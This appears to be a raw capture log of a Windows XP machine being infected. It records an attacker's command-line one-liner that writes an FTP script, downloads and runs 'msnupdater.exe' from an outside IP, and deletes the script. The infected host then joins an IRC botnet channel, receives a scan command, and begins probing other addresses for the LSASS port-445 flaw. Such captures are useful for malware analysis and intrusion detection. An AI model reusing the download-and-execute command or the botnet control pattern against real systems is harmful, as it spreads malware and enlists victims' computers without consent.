VICTIM: Microsoft Windows XP [Version 5.1.2600] VICTIM: (C) Copyright 1985-2001 Microsoft Corp.C:\\WINDOWS\\system32> ATTACKER: echo open 118.172.246.230 2617 > o&echo user 1 1 >> o &echo get msnupdater.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &msnupdater.exe ATTACKER: 220 StnyFtpd 0wns j0 VICTIM: USER 1 ATTACKER: 331 Password required VICTIM: PASS 1 ATTACKER: 230 User logged in. VICTIM: PORT 192,168,1,137,4 ATTACKER: 200 PORT command successful. ATTACKER: RETR msnupdater.exe ATTACKER: 150 Opening BINARY mode data connection ATTACKER: 226 Transfer complete. VICTIM: QUIT ATTACKER: 221 Goodbye happy r00ting. VICTIM: PASS chikichiki VICTIM: NICK N00|10|USA|XPSP0|SYSTEM|TJUSER hgee 0 0 :N00|10|USA|XPSP0|SYSTEM|TJ ATTACKER: :skathari.oligarxia.com NOTICE AUTH :*** Looking up your hostname... ATTACKER: :skathari.oligarxia.com NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead ATTACKER: :skathari.oligarxia.com 001 N00|10|USA|XPSP0|SYSTEM|TJ :Welcome to the SKATHARI IRC Network N00|10|USA|XPSP0|SYSTEM|TJ!hgee@192.168.1.137:skathari.oligarxia.com 002 N00|10|USA|XPSP0|SYSTEM|TJ :Your host is skathari.oligarxia.com, running version Unreal3.2.7:skathari.oligarxia.com 003 N00|10|USA|XPSP0|SYSTEM|TJ :This server was created Wed Jun 4 2008 at 20:31:46 CEST:skathari.oligarxia.com 004 N00|10|USA|XPSP0|SYSTEM|TJ skathari.oligarxia.com Unreal3.2.7 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGj:skathari.oligarxia.com 005 N00|10|USA|XPSP0|SYSTEM|TJ NAMESX SAFELIST HCN MAXCHANNELS=10 CHANLIMIT=#:10 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 WALLCHOPS :are supported by this server:skathari.oligarxia.com 005 N00|10|USA|XPSP0|SYSTEM|TJ WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTG NETWORK=SKATHARI CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ EXCEPTS INVEX :are supported by this server:skathari.oligarxia.com 005 N00|10|USA|XPSP0|SYSTEM|TJ CMDS=KNOCK,MAP,DCCALLOW,USERIP :are supported by this server:skathari.oligarxia.com 251 N00|10|USA|XPSP0|SYSTEM|TJ :There are 36 users and 15 invisible on 1 servers:skathari.oligarxia.com 254 N00|10|USA|XPSP0|SYSTEM|TJ 4 :channels formed:skathari.oligarxia.com 255 N00|10|USA|XPSP0|SYSTEM|TJ :I have 51 clients and 0 servers:skathari.olig ATTACKER: arxia.com 265 N00|10|USA|XPSP0|SYSTEM|TJ :Current Local Users: 51 Max: 233:skathari.oligarxia.com 266 N00|10|USA|XPSP0|SYSTEM|TJ :Current Global Users: 51 Max: 233:skathari.oligarxia.com 422 N00|10|USA|XPSP0|SYSTEM|TJ :MOTD File is missing:N00|10|USA|XPSP0|SYSTEM|TJ MODE N00|10|USA|XPSP0|SYSTEM|TJ :+iwx VICTIM: USERHOST N00|10|USA|XPSP0|SYSTEM|TJ ATTACKER: :skathari.oligarxia.com 302 N00|10|USA|XPSP0|SYSTEM|TJ :N00|10|USA|XPSP0|SYSTEM|TJ=+hgee@192.168.1.137 VICTIM: MODE N00|10|USA|XPSP0|SYSTEM|TJ +xJOIN #vzop haxUSERHOST N00|10|USA|XPSP0|SYSTEM|TJMODE N00|10|USA|XPSP0|SYSTEM|TJ +xJOIN #vzop haxUSERHOST N00|10|USA|XPSP0|SYSTEM|TJMODE N00|10|USA|XPSP0|SYSTEM|TJ +xJOIN #vzop haxUSERHOST N00|10|USA|XPSP0|SYSTEM|TJMODE N00|10|USA|XPSP0|SYSTEM|TJ +xJOIN #vzop hax ATTACKER: :N00|10|USA|XPSP0|SYSTEM|TJ!hgee@A35FC5D0.C6CC910C.E92347E7.IP JOIN :#vzop:skathari.oligarxia.com 332 N00|10|USA|XPSP0|SYSTEM|TJ #vzop :.find lsass-445 35 5 1000 x.x.x.x:skathari.oligarxia.com 333 N00|10|USA|XPSP0|SYSTEM|TJ #vzop scorpions 1216624912:skathari.oligarxia.com 353 N00|10|USA|XPSP0|SYSTEM|TJ = #vzop :N00|10|USA|XPSP0|SYSTEM|TJ N00|118|THA|XPSP2|Administrato N00|192|MEX|XPSP3|Jonathan|SK N01|169|SWE|XPSP2|Birk|RQ N00|192|USA|XPSP2|Robert|PR N00|582|DEU|XPSP2|Administrato N00|192|USA|UNSP1|hhinde|QL N00|192|USA|XPSP2|Owner|QC :skathari.oligarxia.com 366 N00|10|USA|XPSP0|SYSTEM|TJ #vzop :End of /NAMES list.:skathari.oligarxia.com 302 N00|10|USA|XPSP0|SYSTEM|TJ :N00|10|USA|XPSP0|SYSTEM|TJ=+hgee@192.168.1.137 :skathari.oligarxia.com 302 N00|10|USA|XPSP0|SYSTEM|TJ :N00|10|USA|XPSP0|SYSTEM|TJ=+hgee@192.168.1.137 VICTIM: PRIVMSG #vzop :-=|SCAN|=- Random Method started at x.x.x.x :lsass-445 for 1000 minutes 5 delay 35 threads ATTACKER: :skathari.oligarxia.com 302 N00|10|USA|XPSP0|SYSTEM|TJ :N00|10|USA|XPSP0|SYSTEM|TJ=+hgee@192.168.1.137 VICTIM: PRIVMSG #exploit :Trying: 127.95.156.167 (lsass-445) ATTACKER: :skathari.oligarxia.com 401 N00|10|USA|XPSP0|SYSTEM|TJ #exploit :No such nick/channel VICTIM: PRIVMSG #exploit :Trying: 127.183.196.176 (lsass-445) ATTACKER: :skathari.oligarxia.com 401 N00|10|USA|XPSP0|SYSTEM|TJ #exploit :No such nick/channel ATTACKER: PING :skathari.oligarxia.com ATTACKER: PONG :skathari.oligarxia.com VICTIM: PRIVMSG #exploit :Trying: 127.142.40.246 (lsass-445) ATTACKER: :skathari.oligarxia.com 401 N00|10|USA|XPSP0|SYSTEM|TJ #exploit :No such nick/channel